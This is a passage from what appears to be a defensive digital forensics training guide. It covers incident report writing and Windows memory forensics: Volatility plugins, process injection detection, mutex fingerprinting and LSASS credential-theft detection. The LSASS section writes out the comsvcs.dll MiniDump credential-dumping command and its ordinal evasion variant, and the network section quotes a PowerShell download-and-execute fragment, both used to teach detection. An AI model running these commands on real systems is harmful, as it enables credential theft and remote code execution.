Skipping straight from Observation to Implication — "we saw a DCSync event, so the whole domain is compromised" — is how technical readers lose trust in a report: the missing Interpretation and Confidence steps are exactly what they're checking for. Skipping straight to Observation and stopping there — dumping event IDs with no Implication — is how executive readers stop reading.

2.11.3 A vocabulary for confidence, used consistently

Pick a small, fixed set of confidence terms and use them the same way every time in a given report, rather than varying the language finding-to-finding in ways that accidentally imply different confidence levels:

Term	Use when
Confirmed	Corroborated by two or more independent sources — the Timeline Construction bar
Assessed / Likely	Strong single-source evidence, consistent with known technique, but not independently corroborated
Possible / Under investigation	A lead worth stating, not yet strong enough to act on alone

Consistency here matters more than the exact words chosen — a reader who sees "Confirmed" used loosely early in a report will discount it everywhere else, including where it's genuinely earned.

2.11.4 Worked example: the same finding, two ways

This uses the confirmed finding from the [Domain Compromise case study](#) — `svc-backup`'s credential compromise, traced back through a corrected timeline to a specific workstation.

Technical section (for the analyst appendix)

Finding 3 — Credential Theft and Directory Replication Abuse (Confirmed)

At 02:58:14 UTC (corrected for an established +14-minute local clock offset — see Methodology, §2), `WKS-4471` executed `SVCHOST_HELPER.EXE` (Prefetch: `SVCHOST_HELPER.EXE-9B2A7C41.pf`, RunCount 1, launched from `%LOCALAPPDATA%\Temp\`). Sysmon Event ID 1 on the same host shows this process spawning `rundll32.exe comsvcs.dll,MiniDump` against PID 892 (`lsass.exe`) at approximately 02:58:41 UTC, consistent with the credential-dumping technique documented in T1003.001. At 03:14:02–03:14:41 UTC, the harvested `svc-backup` credential was used to authenticate to `DC-01` (Security 4624/4625). At 03:16:55 UTC, `DC-01` logged Event ID 4662 containing extended-right GUID `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` (Replicating Directory Changes All) sourced from `svc-backup` — a non-Domain-Controller account requesting directory replication, the signature of T1003.006 (DCSync). This finding is corroborated across three independent sources (host-based Prefetch/Sysmon, network firewall logs used to establish clock correction, and Domain Controller Security event logs) and is assessed as **Confirmed**.

Executive summary section (for leadership)

An attacker gained access to a workstation and used a built-in Windows credential-recovery feature — the same one legitimate administrators use for troubleshooting — to steal a service account's login credentials. That account had permission to copy sensitive information from our central directory system, including the master key used to issue employee login sessions. **This means the attacker could potentially have logged in as any employee, including senior leadership, without needing their actual password.** We've confirmed this happened through three separate, independently-verified sources of evidence. We are resetting the affected master key (twice, per standard procedure, to fully close the exposure) and isolating the affected workstation. We recommend [specific decision — e.g., mandatory password resets for X population, or engaging outside counsel given the scope] by [date].

What changed between the two, and what didn't

The **facts are identical** — same timestamps, same confidence level, same conclusion. What changed: event IDs and GUIDs became "a built-in Windows credential-recovery feature" and "the master key used to issue employee login sessions"; the DCSync technical significance became "the attacker could potentially have logged in as any employee." Nothing in the executive version is technically inaccurate — it's the same finding at a different, appropriate level of abstraction, ending in a concrete decision request rather than trailing off after the technical description.

The most common failure in both directions

Writing the executive summary as a shortened version of the technical section (still full of event IDs and GUIDs, just fewer of them) fails the executive reader just as surely as omitting the technical section entirely fails the analyst who has to act on the report six months later. They are not the same document at different lengths — they're the same facts, restructured for what each reader needs to do with them.

2.11.5 Referenced From

- [Module 0: Foundations](#)
- [EPROCESS Internals](#)
- [Malware Triage Methodology](#)
- [Mutex \(Mutant\) Analysis](#)

- [Thread Analysis](#)
- [File Carving](#)
- [Log & Artifact Recovery](#)

2.11.6 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 — incident report writing and executive communication)
- [Diamond Model](#) and [Timeline Construction & Correlation](#) — the analytical structures this page's reporting method is built on top of

 August 3, 2026

3. Windows Memory Forensics

Memory Forensics

3.1 Module 3: Windows Memory Forensics

Memory is the most volatile evidence tier that's still practical to capture in full (see [Order of Volatility](#)) — and it's often the *only* place fileless techniques (see [Module 4](#)) ever leave a trace, precisely because they never touch disk.

3.1.1 Module status: complete

- [x] [Memory Acquisition](#) — tools and live-vs-offline tradeoffs
- [x] [Process Analysis](#) — `pslist` / `pstree` / `psscan`, and the diff technique that catches hidden/unlinked processes
- [x] [EPROCESS Internals](#) — what's actually inside the structure, and which fields turn a flagged process into a defensible finding
- [x] [Injected Code Detection](#) — `malfind`, `ldrmodules`, `vadinfo` as a workflow
- [x] [Injection Techniques](#) — process hollowing, process doppelganging, reflective DLL injection, and what each looks like in a memory capture
- [x] [Thread Analysis](#) — thread start-address anomalies, and the purpose-built plugins that catch them
- [x] [Mutex \(Mutant\) Analysis](#) — malware's own single-instance markers, used for fingerprinting and cross-host hunting
- [x] [LSASS Memory Analysis](#) — live-read vs. offline dump-and-crack, including the verified `comsvcs.dll` technique
- [x] [Network Artifacts in Memory](#) — `netstat` / `netscan` and what it recovers that a live query can't
- [x] [Malware Triage Methodology](#) — the capstone: static + memory triage as one workflow, and turning capability into an impact statement

This module pairs directly with [Module 4: PowerShell Forensics](#) — most of what makes fileless PowerShell dangerous is precisely that it only ever exists in the region this module covers.

3.1.2 Referenced From

- [PowerShell Forensics: Evasion Detection](#)
- [Playbook: Ransomware](#)
- [Enterprise DFIR Field Guide](#)

🕒 August 3, 2026

Memory Forensics

3.2 Memory Acquisition

3.2.1 Why this comes first

Everything else in this module depends on getting a usable memory image in the first place, and [Order of Volatility](#) already established the core principle: memory sits above disk and just about everything else in urgency, because it disappears on reboot or power loss and nothing recovers it after that.

3.2.2 Live acquisition (physical or traditional VM hosts)

Tools like Magnet RAM Capture, WinPMEM, and FTK Imager's memory-capture mode run *on* the live, potentially-compromised host and write RAM contents out to a file.

- **Footprint matters.** The acquisition tool itself uses memory and CPU while running, which is an unavoidable, small amount of contamination — prefer lightweight, purpose-built tools over anything heavier, and document exactly what you ran and when as part of your [evidence handling](#) record.
- **Requires administrative/SYSTEM-level privileges** to access physical memory directly.
- **The data is a snapshot of something still moving.** Unlike a disk image, a memory capture represents a system that was actively changing state during acquisition — this is normal and expected, not a flaw in the capture.

3.2.3 Offline acquisition (virtualized/cloud hosts)

This is where cloud and hybrid environments have a real advantage over physical hardware: if the host is a VM, **suspending or snapshotting it captures memory state directly** — the hypervisor-level snapshot file (`.vmem` for VMware, or the equivalent for other platforms) *is* a memory image, with zero acquisition-tool footprint on the guest OS at all. Where available, this is generally preferable to live in-guest acquisition.

3.2.4 Supplementary sources worth knowing about

- **Hibernation file (`hiberfil.sys`)** — a compressed snapshot of memory at the moment the system last hibernated. Useful if a live capture wasn't possible and the system was hibernated at some point in the relevant window; requires decompression before analysis.
- **Page/swap file** — not a complete memory image, but can hold pages evicted from RAM that are no longer present in a live capture, making it a useful supplementary source rather than a primary one.

3.2.5 Format notes

Raw/DD format is the most broadly compatible with [Volatility 3](#) and most other tooling; proprietary forensic formats (AFF4, EWF/E01) exist and carry useful embedded metadata but may need conversion depending on your toolchain.

✓ Baseline habit

Before running anything else on a live, suspected-compromised host — acquire memory first, using the lightest-footprint method available for that host's actual platform (hypervisor snapshot where possible, a purpose-built live tool otherwise).

3.2.6 Referenced From

- [Module 3: Windows Memory Forensics](#)
- [Memory-Based File Recovery](#)

3.2.7 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 — memory acquisition methodology)

🕒 August 3, 2026

Memory Forensics

3.3 Process Analysis: Finding What's Hidden

3.3.1 Two fundamentally different ways to enumerate processes

Volatility 3's process plugins split into two families that answer different questions, and the difference matters enormously for detecting hidden processes.

Plugin	Approach	What it catches	What it misses
<code>windows.pslist</code>	Walks the OS's own doubly-linked list of active processes (the same structure Task Manager reads)	Every legitimately-tracked running process	Anything deliberately unlinked from that list
<code>windows.pstree</code>	Same underlying data as <code>pslist</code> , presented as a parent-child hierarchy	The same processes as <code>pslist</code> , with baseline process tree context	The same blind spot as <code>pslist</code>
<code>windows.psscan</code>	Scans all of physical memory directly for process-object signatures, independent of any linked list	Hidden/unlinked processes, and recently-exited processes whose memory hasn't been overwritten yet	Nothing extra to miss — this is the wider net

`pslist`/`pstree` are only as reliable as the list they're reading — a well-known rootkit technique (DKOM, Direct Kernel Object Manipulation) deliberately unlinks a malicious process from that exact structure, making it invisible to Task Manager, Process Explorer, and `pslist` simultaneously, while the process keeps running normally underneath.

3.3.2 The core technique: diff the two views

```
vol -f memory.dmp windows.pslist -r csv > pslist.csv
vol -f memory.dmp windows.psscan -r csv > psscan.csv
```

Any PID present in `psscan` output but **absent from `pslist`** is either a process that's already exited (its memory hasn't been reclaimed yet — often benign) or a deliberately hidden process. Corroborate with other signals — active threads, open handles, or entries in `netscan` tied to that PID — to tell the two apart. This same "compare two views of the same data and investigate the gap" approach shows up throughout this guide — it's the same underlying logic as diffing [Shimcache](#) modified timestamps against actual file metadata.

 **A note on `psxview`**

Volatility 2's dedicated `psxview` plugin, which automated exactly this cross-reference, is confirmed present in current Volatility 3 releases (`windows.psxview`) as of this writing — a convenient shortcut if your installed version has it. The manual `pslist`/`psscan` diff above achieves the same result and works regardless of version, which is why it's shown as the primary technique on this page.

 **Red flag**

Any PID appearing in `psscan` but not `pslist`, especially one with active network connections or open handles to sensitive processes like `lsass.exe`.

3.3.3 Referenced From

- [Memory Acquisition](#)
- [EPROCESS Internals](#)

- [Module 3: Windows Memory Forensics](#)
- [Malware Triage Methodology](#)
- [Mutex \(Mutant\) Analysis](#)
- [Network Artifacts in Memory](#)
- [Glossary](#)

3.3.4 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 — memory forensics with Volatility)
- Volatility 3 documentation (volatility3.readthedocs.io)

🕒 August 3, 2026

3.4 EPROCESS Internals

3.4.1 What it is, and why this page exists separately from Process Analysis

[Process Analysis](#) already covers *finding* processes — `pslist`, `psscan`, and the diff between them. This page is about what's actually *inside* the kernel structure those plugins are reading, because several of the most useful forensic facts about a process live in EPROCESS fields that a basic process listing doesn't surface by default, and knowing they're there changes what you think to ask for.

EPROCESS is the kernel's own data structure representing a running process — one exists for every process, allocated from kernel pool memory, and it's what `pslist` walks (via a linked list) and `psscan` finds (via pool-tag scanning) in the first place.

3.4.2 The fields that matter forensically

Field (conceptually)	What it tells you	Why it matters for DFIR
PID / PPID	Process ID and parent's Process ID	The raw data behind Baseline Process Trees — a PPID that doesn't match the expected parent is often the single fastest anomaly check in the whole investigation
ImageFileName	The process's own name, as it knows itself	Compare against what a filesystem-based tool reports for the same PID — a mismatch is a PPID-spoofing or process-hollowing tell
CreateTime / ExitTime	When the process started and (if applicable) ended	A process still showing in <code>psscan</code> with a populated <code>ExitTime</code> has already exited — its EPROCESS structure just hasn't been reclaimed yet. Confusing this for a still-running process is a common analysis error
Token	The process's security context — SIDs, privileges, integrity level	A standard user's process holding <code>SeDebugPrivilege</code> or a <code>SYSTEM</code> -equivalent token is a privilege-escalation signal, independent of anything else about the process
VadRoot	Pointer to the process's Virtual Address Descriptor tree	This is the structure <code>vadinfo/malfind</code> actually read — the memory-region permissions and file-backing data that reveal injected code
ThreadListHead	Pointer to the process's own list of threads	What Thread Analysis walks — a process with an unexpectedly high thread count, or one whose threads don't map to loaded code, is worth a second look
Handle table	Every handle the process holds open — files, registry keys, mutexes, other processes	See Mutex/Mutant Analysis ; also how a process's access to <code>lsass.exe</code> shows up structurally, not just as a log line

3.4.3 How you actually use this in an investigation

You rarely query EPROCESS fields directly by name — `pslist`/`pstree`/`psscan` already surface PID/PPID/CreateTime/ExitTime in their default output, which is why [Process Analysis](#) doesn't need to mention EPROCESS internals to be useful for baseline triage. This page matters at the next step: once a process is already flagged as suspicious, the **Token**, **VadRoot**, and **ThreadListHead** fields are where you go to answer *why* it's suspicious with structural evidence, not just a name that looks wrong.

Concretely: `windows.privileges (Privs)` reads the Token field directly, surfacing enabled privileges per process — run it against anything flagged by [Process Tree Triage](#)-style anomalies to check whether it's also running with unexpected privilege, which is a second, independent finding rather than a restatement of the first.

3.4.4 Turning this into report language

A process-tree anomaly alone ("PID 3120 claims to be `lsass.exe`") is a weak sentence in a report — it states an observation without justifying it. Pulling the EPROCESS-level detail turns it into a defensible technical finding: "*PID 3120 presented as `lsass.exe` but its EPROCESS Token held Administrator-equivalent privileges inconsistent with the legitimate `lsass.exe` at PID 640, and its VadRoot showed a memory region with RWX permissions unbacked by any file on disk — consistent with process hollowing (T1055.012).*" That sentence cites three independent structural facts, not just a name mismatch, which is the difference between an assertion and a technical finding a reader can verify. See [Reporting & Communication](#) for how this specific kind of sentence fits into a full report.

3.4.5 Referenced From

- [ATT&CK Coverage Map](#)
- [Module 3: Windows Memory Forensics](#)
- [Malware Triage Methodology](#)
- [Mutex \(Mutant\) Analysis](#)
- [Glossary](#)

3.4.6 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 — Windows kernel structures in memory forensics)
- Volatility 3 documentation (volatility3.readthedocs.io) — `windows.privileges`, `windows.getsids`

🕒 August 3, 2026

3.5 Finding Injected Code: malfind, ldrmodules, vadinfo

Three plugins that work together as a workflow — broad flag, specific cross-reference, detailed inspection — rather than three independent tools.

3.5.1 malfind : the broad flag

Scans process memory for regions with characteristics inconsistent with normal, legitimately-loaded code — most notably memory marked with **RWX (Read-Write-Execute)** permissions simultaneously that isn't backed by any file on disk. Legitimately loaded DLLs and executables are typically mapped with permissions matching their actual sections (code as read-execute, data as read-write) and are backed by the file they came from; injected shellcode or a manually-mapped PE frequently isn't backed by anything on disk at all, and often needs write access to memory it's also executing from.

malfind also flags regions containing a valid PE header (MZ signature) sitting somewhere other than a normal module base address — a strong indicator of a manually-mapped executable image.

3.5.2 ldrmodules : cross-referencing what a process claims to have loaded

Every process's Process Environment Block (PEB) maintains three separate linked lists of loaded modules (in load order, in memory order, and in initialization order). ldrmodules cross-references those three lists against what's *actually* mapped in the process's memory (its VAD — Virtual Address Descriptor — tree).

A module present in the VAD tree but missing from all three PEB lists is hidden — and this is precisely the signature of reflective DLL injection, which manually maps a DLL into memory without ever calling the normal LoadLibrary API, so it never gets registered anywhere the PEB would normally track it.

3.5.3 vadinfo : drilling into a specific region

Once malfind or ldrmodules has flagged something, vadinfo gives you the full detail on that specific memory region — exact permissions, size, and any file backing — for manual inspection or extraction.

3.5.4 The workflow

1. Run malfind across all processes to get a broad list of suspicious memory regions.
2. For each flagged process, run ldrmodules to check whether any loaded module is missing from the PEB's own lists.
3. Use vadinfo on specific regions of interest for full detail before extracting or hashing the region for further analysis.

Red flag

An RWX memory region with no file backing and a valid PE header (malfind), or any module present in a process's VAD tree but absent from all three PEB module lists (ldrmodules).

3.5.5 ATT&CK mapping

T1055 (Process Injection) broadly; see [Injection Techniques](#) for how specific sub-techniques map to what you'll actually see with these plugins.

3.5.6 Referenced From

- [EPROCESS Internals](#)
- [Module 3: Windows Memory Forensics](#)

- [Injection Techniques: What Each Looks Like in Memory](#)
- [LSASS Memory Analysis & Credential Theft](#)
- [Malware Triage Methodology](#)
- [Thread Analysis](#)
- [Memory-Based File Recovery](#)
- [Glossary](#)

3.5.7 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 — memory forensics, code injection detection)
- Volatility 3 documentation (volatility3.readthedocs.io)

🕒 August 3, 2026

Memory Forensics T1055 T1055.001 T1055.012 T1055.013

3.6 Injection Techniques: What Each Looks Like in Memory

Three distinct techniques for running malicious code under the identity of a legitimate process, each leaving a different signature for `malfind`/`ldrmodules`/`vadinfo` to find.

3.6.1 Process Hollowing

Start a legitimate executable in a **suspended** state, unmap its original image from memory, and replace it with malicious code before resuming execution. The result runs with the legitimate process's name, PID, and — critically — its expected **parent process**, which is exactly what makes hollowing effective at defeating parent-child-based detection: on paper, everything about the process looks right.

What gives it away: the in-memory image doesn't match the on-disk binary for that executable. Compare a hash of what's actually mapped at the process's base address (via `vadinfo`) against a hash of the legitimate file at the path the process claims to be running from — a mismatch is the signature. Some Volatility community plugins (`hollowfind` and similar) automate this comparison.

3.6.2 Process Doppelgänging

A more evasive variant that exploits NTFS transactions: malicious code is written to a file *within* an NTFS transaction, a process is created from that file while the transaction is still pending, and then the transaction is rolled back — reverting the file as though the write never happened, while the already-created process keeps running with the malicious image loaded.

Why this is harder to catch than hollowing: there's no completed on-disk artifact to compare against at all — the file the process was created from genuinely doesn't exist in a finished state on disk, not just a mismatched one. Memory analysis is the primary avenue here, specifically because disk-based comparison has nothing to compare against.

3.6.3 Reflective DLL Injection

A DLL is mapped into a target process's memory manually — resolving imports, fixing relocations, mapping sections — without ever calling the normal `LoadLibrary` API. Since the loader API was never invoked, the DLL never registers itself in the process's PEB module lists.

This is exactly the `ldrmodules` signature: a module present in the VAD tree with no corresponding entry in any of the three PEB lists.

3.6.4 Summary table

Technique	Process identity	On-disk artifact	Primary detection
Process Hollowing	Legitimate name/PID/parent	Exists, but doesn't match memory	Hash mismatch between disk and memory image
Process Doppelgänging	Legitimate name/PID/parent	Never completes — no finished file to compare	Memory analysis only; no disk-side comparison possible
Reflective DLL Injection	Host process is otherwise legitimate	The DLL itself may never touch disk	<code>ldrmodules</code> — module in VAD, absent from PEB lists

3.6.5 ATT&CK mapping

T1055.012 (Process Hollowing) / T1055.013 (Process Doppelgänging) / T1055.001 (Dynamic-link Library Injection).

3.6.6 Referenced From

- [ATT&CK Coverage Map](#)
- [Module 3: Windows Memory Forensics](#)
- [Finding Injected Code: malfind, ldrmodules, vadinfo](#)
- [Thread Analysis](#)

3.6.7 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 / FOR610 — process injection analysis)
- MITRE ATT&CK — T1055.012 / T1055.013 / T1055.001

🕒 August 3, 2026

3.7 Thread Analysis

3.7.1 What it is, and why it matters for DFIR specifically

A process can look completely legitimate at the EPROCESS level — right name, right parent, right token — and still be compromised, because the actual malicious code is running in a **thread** that was injected into it after the fact. This is precisely how [reflective DLL injection](#) and [several other techniques](#) hide: the *process* is real and trusted; the *thread* running inside it isn't. Process-level analysis alone cannot catch this — you have to look at the threads themselves.

3.7.2 The field that does almost all the work: thread start address

Every thread has a start address — the memory location its execution began at. For a legitimate thread, that address resolves cleanly to a location inside a loaded module (a DLL or the executable itself) — Volatility's `windows.threads` plugin surfaces this directly, reporting both a `start_addr` (the raw address) and a `start_path` (the module it resolves to, if any).

A thread whose `start_path` is blank — an address that doesn't correspond to any loaded module — is one of the highest-confidence injection indicators available in memory forensics. Legitimate code doesn't start executing from an anonymous, unbacked memory region; injected shellcode does, almost by definition.

3.7.3 The plugin set

Plugin	What it finds	When to reach for it
<code>windows.threads</code>	Full thread listing per process, including <code>start_addr</code> / <code>start_path</code> and create/exit times	Your default starting point once a process is already flagged as suspicious
<code>windows.thrdscan</code>	Pool-scans for thread objects directly, independent of any list	The thread-level equivalent of <code>psscan</code> — catches threads a rootkit tried to unlink
<code>windows.suspicious_threads</code>	A purpose-built plugin specifically flagging threads with anomalous characteristics	Run this early — it does a first pass of exactly the triage this page describes, automatically
<code>windows.suspended_threads</code>	Enumerates threads currently in a suspended state	Directly relevant to process hollowing , which classically starts a process suspended before replacing its image — a suspended thread sitting around longer than expected is worth explaining

3.7.4 How you actually use this in an investigation

The workflow is almost always: [malfind](#) or a process-tree anomaly flags a process → `windows.threads` (or `windows.suspicious_threads` directly) enumerates its threads → any thread with an unresolved `start_path` becomes the specific object you extract and analyze further, rather than treating the whole process as one undifferentiated blob of suspicion.

This also matters for **scoping**: a process with fifteen threads where fourteen resolve cleanly to `kernel32.dll`/`ntdll.dll` and one doesn't isn't "a suspicious process" in a vague sense — it's a process where thirteen threads need no further attention and exactly one does. That distinction saves real time on a host with dozens of flagged processes.

3.7.5 Turning this into report language

"The process exhibited suspicious behavior" is not a technical finding — it's an unverifiable assertion. "Of `explorer.exe`'s (PID 4412) fourteen threads, thirteen resolved to legitimate Explorer/Shell32 code; the fourteenth, created at 14:03:22, had a start address with no corresponding loaded module, consistent with injected shellcode execution" is a finding a technical reviewer can

independently check against the same memory image, and a specific, defensible claim rather than a characterization. See [Reporting & Communication](#) for how findings at this level of specificity fit into both the technical and executive sections of an incident report.

3.7.6 ATT&CK mapping

Supports detection of the same techniques as [Injected Code Detection](#) and [Injection Techniques — T1055](#) and its sub-techniques — from the thread level specifically rather than the process-memory level.

3.7.7 Referenced From

- [EPROCESS Internals](#)
- [Module 3: Windows Memory Forensics](#)
- [Malware Triage Methodology](#)
- [Mutex \(Mutant\) Analysis](#)
- [Memory-Based File Recovery](#)
- [Glossary](#)

3.7.8 Sources

- [Volatility 3 documentation \(volatility3.readthedocs.io\)](#) — `windows.threads`, `windows.suspicious_threads`, `windows.thrdscan`, `windows.suspended_threads`
- [SANS Digital Forensics Certifications overview](#) (FOR508 — thread-level injection analysis)

🕒 August 3, 2026

3.8 Mutex (Mutant) Analysis

3.8.1 What it is, and why malware authors create them

A mutex (Windows kernel object type `Mutant`) exists to prevent race conditions — normally, one piece of software using it to make sure two threads don't touch the same resource at once. Malware authors use the exact same mechanism for a different reason: **to make sure their own malware doesn't run twice on the same host**. On startup, malware commonly checks for a specific, hardcoded mutex name; if it already exists, a prior copy is already running, and the new instance exits without doing anything (avoiding the resource contention and increased visibility of multiple copies fighting over the same host).

That hardcoded name is the forensic payoff. Unlike a file hash, which changes with every recompile, a malware family's mutex name is often part of its actual source code and stays consistent across samples and campaigns — making it a more durable fingerprint than the binary itself.

3.8.2 Where the evidence lives, and how to pull it

Named mutexes a process holds show up in its open handle table (the same `EPROCESS`-level structure referenced in [EPROCESS Internals](#)).

- `windows.mutantscan` — scans memory directly for mutex/`Mutant` objects, independent of any process's handle list — the mutex-object equivalent of `psscan`, and the better starting point when you don't yet know which process to look at.
- `windows.handles`, filtered to handle type `Mutant` and a specific PID — once you already have a process of interest (from [Process Analysis](#) or [Thread Analysis](#)), this shows exactly which named mutexes that process is holding.

3.8.3 How you actually use this in an investigation

Two distinct uses, and they answer different questions:

- **Fingerprinting.** A mutex name that's distinctive, non-default, and not something Windows itself or known-legitimate software creates is worth searching against threat intelligence sources — a matching, previously-reported name can identify a malware family directly, which is a much faster path to understanding scope and behavior than reverse-engineering a sample from scratch.
- **Cross-host hunting.** Once you have a suspected malicious mutex name from one host, it becomes a searchable indicator across the rest of the environment — pull `windows.mutantscan` output from every host's memory capture (or deploy an EDR custom-detection rule keyed on the same name) to find every other machine the same infection touched, which is often faster and more reliable than searching for the file itself, since the file may have been renamed or deleted while the mutex-creation behavior stays constant.

3.8.4 What normal looks like, so you don't chase your own tail

Plenty of legitimate software creates named mutexes for entirely mundane reasons — single-instance application locks (many consumer apps use a mutex specifically to prevent a user from accidentally launching themselves twice) are extremely common and not inherently suspicious. The distinguishing question isn't "does this process hold a mutex" — almost everything does — it's whether the *name* is generic-and-explainable (often containing the vendor or product name plainly) versus deliberately obfuscated, random-looking, or already associated with known malicious activity elsewhere.

Red flag

A mutex name held by a process already flagged by other means (an [injected thread](#), a [process-tree anomaly](#)) — especially one that's randomized-looking or that a threat-intel search returns hits for.

3.8.5 Turning this into report language

A mutex name is one of the more report-friendly findings in memory forensics precisely because it doubles as an attribution data point: *"The compromised host's memory image contained a `Mutant` object named `Global\\{8F3A2C10-...` held by the process at PID 4412; this mutex name is not associated with any known legitimate software installed on this host and is consistent with malware using it as a single-instance marker. The same mutex name was subsequently found on two additional hosts during the environment-wide sweep, establishing common-cause infection across all three."* That's a finding that directly supports a scope statement in an executive summary — see [Reporting & Communication](#) — without needing the reader to understand anything about memory forensics to grasp its significance: *the same infection was found on three machines, not one.*

3.8.6 ATT&CK mapping

Most directly a data source supporting [T1057 \(Process Discovery\)](#) and general malware-family attribution rather than mapping to a single technique itself — it's an artifact of *how* malware avoids re-infection, not a technique in its own right.

3.8.7 Referenced From

- [ATT&CK Coverage Map](#)
- [EPROCESS Internals](#)
- [Module 3: Windows Memory Forensics](#)
- [Malware Triage Methodology](#)

3.8.8 Sources

- Volatility 3 documentation (volatility3.readthedocs.io) — `windows.mutantscan`, `windows.handles`
- [SANS Digital Forensics Certifications overview](#) (FOR508/FOR610 — malware artifact analysis in memory)

🕒 August 3, 2026

3.9 LSASS Memory Analysis & Credential Theft

`lsass.exe` holds authentication material for every account that's touched the host — NTLM hashes, and depending on configuration, cached plaintext credentials and Kerberos tickets. It's the single highest-value credential-theft target on any Windows system, which is exactly why [Module 1's process-tree baseline](#) treats any deviation in its parentage as a top-priority signal, and why this page exists as its own module.

3.9.1 Two paths attackers use, live vs. offline

Live memory read. A tool opens a handle to `lsass.exe` with read access sufficient to walk its memory directly and extract credential material without ever writing a dump file — this is what Sysmon Event ID 10 (`ProcessAccess`) is specifically designed to catch, particularly `GrantedAccess` values consistent with memory-read rights from a process with no legitimate reason to touch `lsass.exe` at all.

Offline dump-and-crack. Rather than reading live, an attacker dumps `lsass.exe`'s memory to a file and parses it somewhere else entirely — evading any monitoring on the live host the moment the dump leaves it. The best-known living-off-the-land method for this:

```
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\path\output.dmp full
```

This calls `comsvcs.dll`'s `MiniDump` export — a legitimate Windows DLL never intended for this purpose, but fully capable of it — to write a complete process dump using nothing but a built-in Windows binary. Requires `SeDebugPrivilege`. Variants of this technique reference the export by its ordinal number (`#24`) instead of by name specifically to dodge simple string-matching detections looking for the literal word "MiniDump."

3.9.2 Where the evidence lives

- **Sysmon Event ID 10**, filtered to `TargetImage = lsass.exe`, looking for `GrantedAccess` values inconsistent with normal system activity
- **Command-line logging** (Security 4688 / Sysmon 1) for `rundll32.exe` invocations referencing `comsvcs.dll` alongside `MiniDump` or its ordinal equivalent, `full`, and an output path
- In a memory capture: the `handles` plugin to identify what process holds a handle to `lsass.exe` and with what access rights; `malfind/vadinfo` against `lsass.exe` itself if code was injected *into* it rather than just read from it

Red flag

Any non-system process opening `lsass.exe` with memory-read access, or a `rundll32.exe` command line referencing `comsvcs.dll` together with a dump-related export and output path.

3.9.3 Worth knowing about built-in mitigations

Modern Windows (particularly newer enterprise-joined 11 builds) increasingly ships with **LSASS Protected Process Light (PPL)** and **Credential Guard** enabled by default, both of which meaningfully raise the bar against direct memory-read techniques — confirm these are actually enabled in your environment rather than assumed, since older builds and certain configurations don't have them on by default.

3.9.4 ATT&CK mapping

[T1003.001 \(OS Credential Dumping: LSASS Memory\)](#).

3.9.5 Referenced From

- [ATT&CK Coverage Map](#)
- [Operationalizing Threat Intelligence](#)
- [Module 3: Windows Memory Forensics](#)
- [Malware Triage Methodology](#)
- [Glossary](#)

3.9.6 Sources

- LOLBAS Project — `comsvcs.dll`
- [SANS Digital Forensics Certifications overview](#) (FOR508 — credential theft detection)
- MITRE ATT&CK — T1003.001

 August 3, 2026

Memory Forensics

3.10 Network Artifacts in Memory

3.10.1 What it captures that a live `netstat` can't

Volatility's network-scanning plugin (`windows.netstat` in Volatility 3 — commonly still referred to by its Volatility 2 name, `netscan`, in training material and checklists) scans memory for network-connection tracking structures directly, rather than querying the live OS for currently-open connections. This means it can recover **connections that have already closed** by the time of acquisition, as long as the underlying structures haven't been overwritten yet — valuable precisely because a live `netstat` on the host, run after the fact, would show nothing for a connection that already tore down.

3.10.2 Detection approach

Pull the connection list and correlate every entry against its owning PID — then cross-reference that PID against `pslist/psscan` findings and any available command-line data. The two questions that matter most:

- **Does this process have any legitimate reason to be making this connection?** A connection owned by a process with no business-network function reaching an unfamiliar external address is the core signal.
- **Is the owning PID even present in `pslist`?** A network connection tied to a PID that only shows up in `psscan` — i.e., a **hidden process** — is a particularly high-confidence finding, since it means whatever's making that connection went out of its way to not be visible through normal means.

This connects directly to [Module 4](#)'s download-and-execute patterns — a fileless `IEX (New-Object Net.WebClient).DownloadString(...)` chain produces exactly the kind of connection this plugin is built to catch, especially if the process has already exited by the time you're looking and a live `netstat` would show nothing at all.

Red flag

A network connection owned by a process with no legitimate reason to be making outbound connections, or one owned by a PID that doesn't appear in `pslist` at all.

3.10.3 Referenced From

- [ATT&CK Coverage Map](#)
- [Module 3: Windows Memory Forensics](#)
- [Malware Triage Methodology](#)
- [Process Analysis: Finding What's Hidden](#)

3.10.4 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 / FOR572 — network artifact correlation)
- Volatility 3 documentation (volatility3.readthedocs.io)

 August 3, 2026

Memory Forensics

3.11 Malware Triage Methodology

3.11.1 What this page is for

Every other page in this module covers one technique — find hidden processes, find injected code, find a suspicious thread. This page is the workflow that ties them together: given a suspicious file or a live, suspicious process, what's the actual order of operations to go from "this looks off" to "here's what it does and how bad this is," in a way that produces a defensible answer rather than a pile of disconnected observations.

The goal of triage specifically isn't full reverse engineering — it's answering three questions fast enough to drive containment decisions: **is this malicious, what is it capable of, and how far has it spread.**

3.11.2 Phase 1: static triage (before you touch memory)

- **Hash it first, always** — SHA-256 of the sample, before any other action. This is your stable identifier for the rest of the investigation and for any threat-intel lookup, and it costs seconds.
- **PE header inspection.** The import table is a capability signal, not just metadata — a binary importing `CreateRemoteThread / WriteProcessMemory / VirtualAllocEx` together has process-injection capability regardless of what it's actually doing right now; one importing `WinHttpOpen / InternetConnect` has network C2 capability; one importing `CryptEncrypt`-family functions alongside broad filesystem access warrants immediate ransomware suspicion. You're reading capability, not behavior, at this stage.
- **Entropy as a packing signal.** A binary with unusually high entropy in its code sections (approaching the entropy of compressed or encrypted data) is very likely packed or obfuscated — this doesn't tell you what it does, but it tells you static analysis alone won't get you much further, and memory-based analysis of the *running* (unpacked) process becomes the higher-value next step.
- **Strings, with a caveat.** Worth a quick pass for obvious indicators (URLs, IP addresses, file paths, ransom-note text) — but a packed or obfuscated sample will show you almost nothing useful here until it's actually executing and has unpacked itself in memory.

3.11.3 Phase 2: memory-based triage (once it's running, or from a captured image)

This is where the rest of Module 3 comes together as a sequence rather than a set of independent tools:

1. **Locate the process.** [Process Analysis](#) — `pslist` vs. `psscan`, checking for anything hidden.
2. **Check its identity against its context.** [EPROCESS Internals](#) — does the `PPID` match the [expected baseline](#)? Does the `Token` show privilege inconsistent with what this process should hold?
